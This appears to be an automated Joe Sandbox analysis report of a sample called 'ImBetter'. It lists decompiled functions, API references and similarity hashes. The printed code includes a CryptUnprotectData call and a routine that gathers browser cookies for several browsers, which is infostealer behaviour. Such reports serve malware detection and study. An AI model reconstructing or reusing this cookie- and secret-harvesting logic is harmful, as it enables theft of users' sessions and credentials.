String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 6d2900c7863f96cfaa4d4623890fc7616719517669cc7e2a9a1169c22898dc10
Instruction ID: 9be25f5591a9736b60e4995334d40c3299b1843cc46354bfa087fbba6d2f1a98
Opcode Fuzzy Hash: 6d2900c7863f96cfaa4d4623890fc7616719517669cc7e2a9a1169c22898dc10
Instruction Fuzzy Hash: 13018421B1868185EB40AB46B8402ABF7A1BF98BD0FA44437EE4D43B59CF3CD9418351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2C2C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 39%

			E00007FF77FF7E6B2C2C4(void* __edx, void* __eflags, void* __rax, long long __rbx, long long __rcx, long long __rsi, void* __rbp, void* __r8, void* __r9, char _a8, long long _a16, long long _a24) {
				char _v24;
				char _v32;
				char _v36;
				void* _v40;
				void* _t22;
				void* _t25;

				_t25 = __rax;
				_a16 = __rbx;
				_a24 = __rsi;
				_a8 = __rcx;
				_t22 = __edx;
				E00007FF77FF7E6B2C068(2, __r9, "EnumSystemLocalesEx", __rsi, 0xe6b505a8, "EnumSystemLocalesEx");
				if (_t25 == 0) goto 0xe6b2c323;
				 *0xe6b4f3d8(); // executed
				goto 0xe6b2c353;
				_v24 =  &_a8;
				_v36 = 4;
				_v32 = 4;
				return E00007FF77FF7E6B2BFEC(_t22, __r9,  &_v32,  &_v24,  &_v36);
			}

0x7ff7e6b2c2c4
0x7ff7e6b2c2c4
0x7ff7e6b2c2c9
0x7ff7e6b2c2ce
0x7ff7e6b2c2de
0x7ff7e6b2c2fa
0x7ff7e6b2c302
0x7ff7e6b2c31b
0x7ff7e6b2c321
0x7ff7e6b2c328
0x7ff7e6b2c341
0x7ff7e6b2c34a
0x7ff7e6b2c362

APIs

EnumSystemLocalesEx.KERNELBASE(?,?,?,?,?,?,?,?,00000000,00007FF7E6B35190), ref: 00007FF7E6B2C31B

Strings

EnumSystemLocalesEx, xrefs: 00007FF7E6B2C2E0, 00007FF7E6B2C2F3

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: EnumLocalesSystem
String ID: EnumSystemLocalesEx
API String ID: 2099609381-2492367753
Opcode ID: 0de55806c1fed256530f20ba378c705d705e14b5cedc1718d3e759c7f380356b
Instruction ID: ab466c71df0a9c39b05b2756015ba2007080722e70c41afbaaf218d8252e5293
Opcode Fuzzy Hash: 0de55806c1fed256530f20ba378c705d705e14b5cedc1718d3e759c7f380356b
Instruction Fuzzy Hash: 88011276919B8591D7409B11F8401ABB3A5FB84780FA45037FB8D43759DF3CD945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1BEC0 Relevance: 3.1, APIs: 2, Instructions: 80
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FF77FF7E6B1BEC0(long long __rbx, long long __rcx, long long __rdx, long long __rsi, void* __r8, long long _a24, long long _a32) {
				void* _v8;
				signed int _v24;
				intOrPtr _v32;
				char _v40;
				long long _v48;
				intOrPtr _v56;
				long long _v64;
				long long _v88;
				intOrPtr _v96;
				long long _v104;
				void* _t30;
				void* _t32;
				signed long long _t40;
				char* _t48;
				intOrPtr _t60;
				void* _t66;

				_a24 = __rbx;
				_a32 = __rsi;
				_t40 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v24 = _t40 ^ _t66 - 0x00000080;
				_t48 = __rdx;
				_v64 = __rcx;
				_v64 = __rdx;
				_v56 =  *((intOrPtr*)(__rdx + 0x10));
				if ( *((long long*)(__rdx + 0x18)) - 0x10 < 0) goto 0xe6b1bf07;
				_v48 =  *((intOrPtr*)(__rdx));
				_v88 =  &_v40;
				_v96 = 0;
				_v104 = __rsi;
				r9d = 0;
				r8d = 0;
				__imp__CryptUnprotectData(); // executed
				r8d = _v40;
				asm("xorps xmm0, xmm0");
				asm("movups [edi], xmm0");
				 *((long long*)(__rcx + 0x10)) = __rsi;
				 *((long long*)(__rcx + 0x18)) = __rsi;
				E00007FF77FF7E6B02FD0(__rdx, __rcx, _v32, __r8);
				_t60 =  *((intOrPtr*)(_t48 + 0x18));
				if (_t60 - 0x10 < 0) goto 0xe6b1bf89;
				if (_t60 + 1 - 0x1000 < 0) goto 0xe6b1bf84;
				if ( *_t48 -  *((intOrPtr*)( *_t48 - 8)) - 8 - 0x1f > 0) goto 0xe6b1bfbd;
				_t30 = E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)( *_t48 - 8)));
				 *((long long*)(_t48 + 0x10)) = __rsi;
				 *((long long*)(_t48 + 0x18)) = 0xf;
				 *_t48 = 0;
				return E00007FF77FF7E6B3C7F0(_t30, _t32, _v24 ^ _t66 - 0x00000080);
			}

0x7ff7e6b1bec0
0x7ff7e6b1bec5
0x7ff7e6b1bed2
0x7ff7e6b1bedc
0x7ff7e6b1bee1
0x7ff7e6b1bee7
0x7ff7e6b1beec
0x7ff7e6b1bef6
0x7ff7e6b1bf02
0x7ff7e6b1bf07
0x7ff7e6b1bf11
0x7ff7e6b1bf16
0x7ff7e6b1bf1a
0x7ff7e6b1bf1f
0x7ff7e6b1bf22
0x7ff7e6b1bf2c
0x7ff7e6b1bf32
0x7ff7e6b1bf37
0x7ff7e6b1bf3a
0x7ff7e6b1bf3d
0x7ff7e6b1bf41
0x7ff7e6b1bf4d
0x7ff7e6b1bf53
0x7ff7e6b1bf5b
0x7ff7e6b1bf6a
0x7ff7e6b1bf7f
0x7ff7e6b1bf84
0x7ff7e6b1bf89
0x7ff7e6b1bf8d
0x7ff7e6b1bf95
0x7ff7e6b1bfbc

APIs

CryptUnprotectData.CRYPT32 ref: 00007FF7E6B1BF2C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1BFBD

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CryptDataUnprotect_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 293196144-0
Opcode ID: 59f888bb8eeacf9959a3e5f75bbc441850a93e506a1e9ef829eb0a4ee3912a0b
Instruction ID: 9c3e4dd530d269d10761a8c02c37b2f06c41bbb95ab07172bd7defec17304223
Opcode Fuzzy Hash: 59f888bb8eeacf9959a3e5f75bbc441850a93e506a1e9ef829eb0a4ee3912a0b
Instruction Fuzzy Hash: 38215072628B8482E714DB25E95436EB3A6F798BC4FA04136EB8C43B59DF7CD4918B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2AD94 Relevance: .3, Instructions: 309
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B2AD94(void* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t12;
				signed long long _t15;
				void* _t25;
				void* _t26;
				signed long long _t27;

				_t25 = _t26 - 0x168;
				_t27 = _t26 - 0x268;
				_t15 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t25 + 0x150) = _t15 ^ _t27;
				r15d = 0;
				 *((long long*)(_t27 + 0x70)) = __r8;
				 *((long long*)(_t27 + 0x78)) = __rdx;
				 *((long long*)(_t27 + 0x30)) =  *((intOrPtr*)(_t25 + 0x1d0));
				 *((long long*)(_t27 + 0x68)) =  *((intOrPtr*)(_t25 + 0x1d8));
				if (__rcx != 0) goto 0xe6b2ae1c;
				return E00007FF77FF7E6B3C7F0(0, _t12,  *(_t25 + 0x150) ^ _t27);
			}

0x7ff7e6b2ada1
0x7ff7e6b2ada9
0x7ff7e6b2adb0
0x7ff7e6b2adba
0x7ff7e6b2adc8
0x7ff7e6b2add5
0x7ff7e6b2addd
0x7ff7e6b2ade5
0x7ff7e6b2aded
0x7ff7e6b2adf5
0x7ff7e6b2ae1b

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue_invalid_parameter_noinfo
String ID:
API String ID: 32409561-0
Opcode ID: 549f061ee3c6af3aaa47d9c0acaf67434b2b1f6aee51cc8d71092f6e04ce0a71
Instruction ID: 97be3b0176645a547e88b0da4f8a43c10d341c2b85138312903e88b528cb4b20
Opcode Fuzzy Hash: 549f061ee3c6af3aaa47d9c0acaf67434b2b1f6aee51cc8d71092f6e04ce0a71
Instruction Fuzzy Hash: 43C1D825B286D145EB60AB619D103BBB7E6FB94B88FA04033DE4D47A85DF3CD545C312

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B35254 Relevance: .3, Instructions: 272
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E6B35254(void* __ecx, signed int __edx, void* __eflags, long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r9, void* __r10, long long _a16, long long _a24) {
				void* _v24;
				signed int _v40;
				char _v168;
				void* __rsi;
				void* _t70;
				unsigned int _t83;
				unsigned int _t86;
				signed char _t97;
				signed int _t99;
				void* _t110;
				signed long long _t145;
				signed long long _t146;
				long long _t150;
				void* _t178;
				signed long long _t180;
				signed long long _t181;
				signed long long _t182;
				signed long long _t183;
				void* _t185;
				void* _t188;
				signed short* _t205;
				void* _t207;
				void* _t209;

				_t207 = __r10;
				_t186 = __rbp;
				_t110 = __eflags;
				_t99 = __edx;
				_a16 = __rbx;
				_a24 = __rbp;
				_t145 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t146 = _t145 ^ _t188 - 0x000000c0;
				_v40 = _t146;
				_t185 = __rcx;
				E00007FF77FF7E6B2A284(_t146, __rbx, __rcx, __rdx, __rcx, __r9);
				r9d = 0x40;
				_t5 = _t146 + 0x98; // 0x98
				_t150 = _t5;
				asm("sbb edx, edx");
				if (E00007FF77FF7E6B2C384((_t99 & 0xfffff005) + 0x1002, _t110, _t146, _t150, _t185, _t185, __rbp,  &_v168) != 0) goto 0xe6b352c3;
				 *(_t150 + 0x10) = 0;
				goto 0xe6b35501;
				_t70 = E00007FF77FF7E6B33414(_t146,  *((intOrPtr*)(_t150 + 8)));
				_t181 = _t180 | 0xffffffff;
				r13d = _t181 + 0x56;
				if (_t70 != 0) goto 0xe6b3538a;
				r9d = _t181 + 0x41;
				asm("sbb edx, edx");
				if (E00007FF77FF7E6B2C384(((_t99 & 0xfffff005) + 0x00001002 & 0xfffff002) + 0x1001, _t70, _t146, _t150, _t185, _t185, _t186,  &_v168) == 0) goto 0xe6b352b6;
				if (E00007FF77FF7E6B33414(_t146,  *_t150) != 0) goto 0xe6b35335;
				_t97 =  *(_t150 + 0x10) | 0x00000304;
				 *(_t150 + 0x10) = _t97;
				if ( *((intOrPtr*)(_t185 + (_t181 + 1) * 2)) != 0) goto 0xe6b35329;
				goto 0xe6b3536d;
				if ((_t97 & 0x00000002) != 0) goto 0xe6b3538a;
				if ( *((intOrPtr*)(_t150 + 0x14)) == 0) goto 0xe6b35413;
				if (E00007FF77FF7E6B3A240(_t146,  *_t150) != 0) goto 0xe6b35413;
				 *(_t150 + 0x10) =  *(_t150 + 0x10) | 0x00000002;
				if ( *((intOrPtr*)(_t185 + (_t181 + 1) * 2)) != 0) goto 0xe6b35363;
				_t28 = _t150 + 0x258; // 0x2f0
				if (E00007FF77FF7E6B34D0C(_t146, _t150, _t28, _t209, _t185, _t185, _t181 + 2) != 0) goto 0xe6b35529;
				if (( *(_t150 + 0x10) & 0x00000300) == 0x300) goto 0xe6b354f6;
				r9d = 0x40;
				asm("sbb edx, edx");
				if (E00007FF77FF7E6B2C384((((_t99 & 0xfffff005) + 0x00001002 & 0xfffff002) + 0x00001001 & 0xfffff002) + 0x1001, ( *(_t150 + 0x10) & 0x00000300) - 0x300, _t146, _t150, _t185, _t185, _t186,  &_v168) == 0) goto 0xe6b352b6;
				if (E00007FF77FF7E6B33414(_t146,  *_t150) != 0) goto 0xe6b354f6;
				_t83 =  *(_t150 + 0x10);
				asm("bts eax, 0x9");
				 *(_t150 + 0x10) = _t83;
				if ( *((intOrPtr*)(_t150 + 0x18)) == 0) goto 0xe6b35443;
				asm("bts eax, 0x8");
				_t36 = _t150 + 0x258; // 0x2f0
				 *(_t150 + 0x10) = _t83;
				if ( *_t36 != 0) goto 0xe6b354f6;
				_t182 = _t181 + 1;
				if ( *((intOrPtr*)(_t185 + _t182 * 2)) != 0) goto 0xe6b35405;
				goto 0xe6b354e3;
				if (( *(_t150 + 0x10) & 0x00000001) != 0) goto 0xe6b3538a;
				if (E00007FF77FF7E6B356F8(0x300,  *(_t150 + 0x10) & 0x00000001, _t185,  &_v168, _t185, _t186, _t181 + 2, _t207) == 0) goto 0xe6b3538a;
				 *(_t150 + 0x10) =  *(_t150 + 0x10) | 0x00000001;
				if ( *((intOrPtr*)(_t185 + (_t182 + 1) * 2)) != 0) goto 0xe6b35434;
				goto 0xe6b3536d;
				if ( *((intOrPtr*)(_t150 + 0x14)) == 0) goto 0xe6b354c7;
				_t178 =  *_t150;
				if ( *((intOrPtr*)(_t178 + (_t182 + 1) * 2)) != 0) goto 0xe6b3544e;
				if (0x300 !=  *((intOrPtr*)(_t150 + 0x14))) goto 0xe6b354c7;
				if (E00007FF77FF7E6B356F8(0x300, 0x300 -  *((intOrPtr*)(_t150 + 0x14)), _t185, _t178, _t185, _t186, _t182 + 1, _t207) != 0) goto 0xe6b354ab;
				_t205 =  *_t150;
				r8d = 0;
				if (_t205 == 0) goto 0xe6b35499;
				_t86 = _t178 - 0x41;
				if (_t86 - 0x19 <= 0) goto 0xe6b35491;
				if (( *_t205 & 0x0000ffff) - 0x61 - 0x19 > 0) goto 0xe6b35499;
				r8d = r8d + 1;
				goto 0xe6b3547a;
				if (_t205[_t182 + 1] != 0) goto 0xe6b3549c;
				if (r8d == _t86) goto 0xe6b354f6;
				asm("bts dword [ebx+0x10], 0x8");
				_t54 = _t150 + 0x258; // 0x2f0
				if ( *_t54 != 0) goto 0xe6b354f6;
				_t183 = _t182 + 1;
				if ( *((intOrPtr*)(_t185 + _t183 * 2)) != 0) goto 0xe6b354bc;
				goto 0xe6b354e3;
				asm("bts eax, 0x8");
				_t57 = _t150 + 0x258; // 0x2f0
				 *(_t150 + 0x10) = _t86;
				if ( *_t57 != 0) goto 0xe6b354f6;
				if ( *((intOrPtr*)(_t185 + (_t183 + 1) * 2)) != 0) goto 0xe6b354da;
				if (E00007FF77FF7E6B34D0C(_t182 + 1, _t150, _t57, _t209, _t185, _t185, _t183 + 2) != 0) goto 0xe6b35529;
				return E00007FF77FF7E6B3C7F0( !( *(_t150 + 0x10) >> 2) & 0x00000001, 0x300, _v40 ^ _t188 - 0x000000c0);
			}

0x7ff7e6b35254
0x7ff7e6b35254
0x7ff7e6b35254
0x7ff7e6b35254
0x7ff7e6b35254
0x7ff7e6b35259
0x7ff7e6b35269
0x7ff7e6b35270
0x7ff7e6b35273
0x7ff7e6b3527b
0x7ff7e6b3527e
0x7ff7e6b35283
0x7ff7e6b3528e
0x7ff7e6b3528e
0x7ff7e6b3529d
0x7ff7e6b352b4
0x7ff7e6b352b6
0x7ff7e6b352be
0x7ff7e6b352cc
0x7ff7e6b352d1
0x7ff7e6b352d5
0x7ff7e6b352db
0x7ff7e6b352e4
0x7ff7e6b352f2
0x7ff7e6b35307
0x7ff7e6b3531b
0x7ff7e6b3531d
0x7ff7e6b35326
0x7ff7e6b35331
0x7ff7e6b35333
0x7ff7e6b35338
0x7ff7e6b3533d
0x7ff7e6b35356
0x7ff7e6b3535c
0x7ff7e6b3536b
0x7ff7e6b3536d
0x7ff7e6b35384
0x7ff7e6b35396
0x7ff7e6b353a6
0x7ff7e6b353af
0x7ff7e6b353c4
0x7ff7e6b353d9
0x7ff7e6b353df
0x7ff7e6b353e2
0x7ff7e6b353e6
0x7ff7e6b353ec
0x7ff7e6b353ee
0x7ff7e6b353f2
0x7ff7e6b353f9
0x7ff7e6b353ff
0x7ff7e6b35405
0x7ff7e6b3540c
0x7ff7e6b3540e
0x7ff7e6b35417
0x7ff7e6b35427
0x7ff7e6b3542d
0x7ff7e6b3543c
0x7ff7e6b3543e
0x7ff7e6b35446
0x7ff7e6b35448
0x7ff7e6b35455
0x7ff7e6b3545a
0x7ff7e6b35466
0x7ff7e6b35468
0x7ff7e6b3546b
0x7ff7e6b35474
0x7ff7e6b3547e
0x7ff7e6b35485
0x7ff7e6b3548f
0x7ff7e6b35494
0x7ff7e6b35497
0x7ff7e6b354a4
0x7ff7e6b354a9
0x7ff7e6b354ab
0x7ff7e6b354b0
0x7ff7e6b354ba
0x7ff7e6b354bc
0x7ff7e6b354c3
0x7ff7e6b354c5
0x7ff7e6b354c7
0x7ff7e6b354cb
0x7ff7e6b354d2
0x7ff7e6b354d8
0x7ff7e6b354e1
0x7ff7e6b354f4
0x7ff7e6b35528

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorInfoLastLocaleValue$CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 814859557-0
Opcode ID: 85b5c03f84c6da5d722cef0708ef8cf8f68fd1501b25feea0e8b7551c2b127e3
Instruction ID: 22b5ade48b50bf395ce10c7bc47ec244a61f5c721184c2809bd4913f3884dfda
Opcode Fuzzy Hash: 85b5c03f84c6da5d722cef0708ef8cf8f68fd1501b25feea0e8b7551c2b127e3
Instruction Fuzzy Hash: ADB1F923B6864642E764AF21DC117BBB3A1FB44B48FA04132DE4943ACADFBCE551C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B25A6C Relevance: .2, Instructions: 207
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF7E6B25A6C(long long __rbx, intOrPtr* __rcx, long long __rsi, char _a16, long long _a24, long long _a32) {
				void* _v40;
				long long _v72;
				void* __rdi;
				void* _t11;
				intOrPtr* _t25;
				void* _t32;
				intOrPtr** _t33;
				void* _t41;
				void* _t42;

				_a24 = __rbx;
				_a32 = __rsi;
				_t33 = __rcx;
				_t35 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 8))));
				_t25 =  *((intOrPtr*)(__rcx));
				r14d =  *_t25;
				if ( *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)))) != 0) goto 0xe6b25aac;
				E00007FF77FF7E6B2B27C(r14d, 0, _t25, __rbx, __rcx, _t32,  *((intOrPtr*)( *((intOrPtr*)(__rcx + 8)))), _t42);
				goto 0xe6b25b54;
				_v72 = 0x7fffffff;
				r8d = 0;
				_t11 = E00007FF77FF7E6B2CD58(__rbx,  &_a16, _t33, _t35, _t41, _t35);
				if (_t11 == 0x16) goto 0xe6b25cda;
				if (_t11 == 0x22) goto 0xe6b25cda;
				E00007FF77FF7E6B2C9C0(_t11, _a16, _t32);
				if (_t25 != 0) goto 0xe6b25b0e;
				E00007FF77FF7E6B29D04(_t25, _a16);
				return 0;
			}

0x7ff7e6b25a6c
0x7ff7e6b25a71
0x7ff7e6b25a8b
0x7ff7e6b25a8e
0x7ff7e6b25a91
0x7ff7e6b25a94
0x7ff7e6b25a9a
0x7ff7e6b25a9f
0x7ff7e6b25aa7
0x7ff7e6b25aaf
0x7ff7e6b25ab8
0x7ff7e6b25abf
0x7ff7e6b25ac7
0x7ff7e6b25ad0
0x7ff7e6b25adf
0x7ff7e6b25aec
0x7ff7e6b25aee
0x7ff7e6b25b0d

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: a1efb9b0351a55c4f7a162e0d04dd7486e38840f01a86df117788ec5c503b27f
Instruction ID: f778fa703086de36b711ec1ca7c266bab50f870239a8ad59a44c3da1d9d61400
Opcode Fuzzy Hash: a1efb9b0351a55c4f7a162e0d04dd7486e38840f01a86df117788ec5c503b27f
Instruction Fuzzy Hash: F981A273A24A9185EB60AF25C88137E73A1FB44B98FA44637EE1E97795EF38D0418311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B05FAD Relevance: 80.1, APIs: 4, Strings: 41, Instructions: 1395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00007FF77FF7E6B05FAD(void* __ecx, void* __edx, void* __edi, void* __esp, void* __eflags, void* __rax, void* __rcx, long long __rsi, void* __r8, long long __r12, long long __r13, long long __r14, long long __r15) {
				signed char _t884;
				signed char _t891;
				signed char _t896;
				signed char _t903;
				signed char _t908;
				signed char _t915;
				signed char _t920;
				signed char _t927;
				signed char _t932;
				signed char _t939;
				signed char _t944;
				signed char _t951;
				signed char _t956;
				signed char _t963;
				signed char _t968;
				signed char _t975;
				signed char _t980;
				signed char _t987;
				signed char _t992;
				signed char _t999;
				signed char _t1004;
				signed char _t1011;
				signed char _t1016;
				signed char _t1023;
				signed char _t1028;
				signed char _t1035;
				signed char _t1040;
				signed char _t1047;
				signed char _t1052;
				signed char _t1059;
				signed char _t1064;
				signed char _t1071;
				signed char _t1076;
				signed char _t1083;
				signed char _t1088;
				signed char _t1095;
				signed char _t1102;
				signed char _t1109;
				signed char _t1116;
				signed char _t1123;
				signed char _t1130;
				signed char _t1137;
				signed char _t1144;
				signed char _t1151;
				signed char _t1158;
				signed char _t1165;
				signed char _t1172;
				signed char _t1179;
				signed char _t1186;
				signed char _t1193;
				signed char _t1200;
				signed char _t1207;
				signed char _t1214;
				void* _t1370;
				void* _t1424;
				void* _t1425;
				void* _t1696;
				intOrPtr* _t1697;
				intOrPtr* _t1702;
				long long _t1711;
				intOrPtr _t1734;
				intOrPtr* _t1735;
				intOrPtr _t1940;
				long long _t2315;
				long long _t2331;
				intOrPtr* _t2346;
				void* _t2813;
				intOrPtr _t2814;
				intOrPtr _t2817;
				void* _t2821;
				intOrPtr _t2827;
				intOrPtr _t2830;
				signed long long _t2833;
				intOrPtr _t2836;
				signed long long _t2839;
				intOrPtr _t2842;
				intOrPtr _t2848;
				intOrPtr _t2851;
				intOrPtr _t2854;
				intOrPtr _t2857;
				intOrPtr _t2860;
				intOrPtr _t2863;
				intOrPtr _t2866;
				signed long long _t2869;
				signed long long _t2872;
				signed long long _t2875;
				signed long long _t2878;
				signed long long _t2881;
				signed long long _t2884;
				signed long long _t2887;
				signed long long _t2890;
				signed long long _t2893;
				signed long long _t2896;
				signed long long _t2899;
				signed long long _t2902;
				signed long long _t2905;
				signed long long _t2908;
				signed long long _t2911;
				signed long long _t2914;
				signed long long _t2917;
				signed long long _t2920;
				intOrPtr _t2923;
				intOrPtr _t2926;
				intOrPtr _t2929;
				intOrPtr _t2932;
				intOrPtr _t2935;
				intOrPtr _t2938;
				intOrPtr _t2941;
				intOrPtr _t2944;
				intOrPtr _t2947;
				intOrPtr _t2950;
				intOrPtr _t2953;
				intOrPtr _t2956;
				signed long long _t2959;
				signed long long _t2962;
				signed long long _t2965;
				signed long long _t2968;
				signed long long _t2971;
				signed long long _t2974;
				signed long long _t2977;
				signed long long _t2980;
				signed long long _t2983;
				signed long long _t2986;
				signed long long _t2989;
				signed long long _t2992;
				signed long long _t2995;
				signed long long _t2998;
				signed long long _t3001;
				signed long long _t3004;
				signed long long _t3007;
				signed long long _t3010;
				signed long long _t3073;
				void* _t3074;
				void* _t3075;
				void* _t3076;
				void* _t3159;
				void* _t3165;

				_t3076 = __r8;
				_t1696 = __rax;
				_t1425 = __edx;
				_t1424 = __ecx;
				E00007FF77FF7E6B028C0(__rax, __rcx, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "AWBCookies");
				goto 0xe6b06025;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x348);
				_t884 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t3076);
				_t1371 = _t884 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t884 & 0x000000ff) != 1) goto 0xe6b06047;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "AWBCookies");
				_t1902 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x348);
				E00007FF77FF7E6B0C080(_t1371,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x948);
				_t891 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t891 & 0x000000ff) != 1) goto 0xe6b0609d;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BaiduCookies");
				goto 0xe6b060ed;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x2c8);
				_t896 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1902);
				_t1373 = _t896 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t896 & 0x000000ff) != 1) goto 0xe6b0610f;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BaiduCookies");
				_t1903 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x2c8);
				E00007FF77FF7E6B0C080(_t1373,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x928);
				_t903 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t903 & 0x000000ff) != 1) goto 0xe6b06165;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BlackCookies");
				goto 0xe6b061b5;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x2e8);
				_t908 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1903);
				_t1375 = _t908 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t908 & 0x000000ff) != 1) goto 0xe6b061d7;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BlackCookies");
				_t1904 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x2e8);
				E00007FF77FF7E6B0C080(_t1375,  *0xe6b6e070, _t1696, _t1696, _t1696);
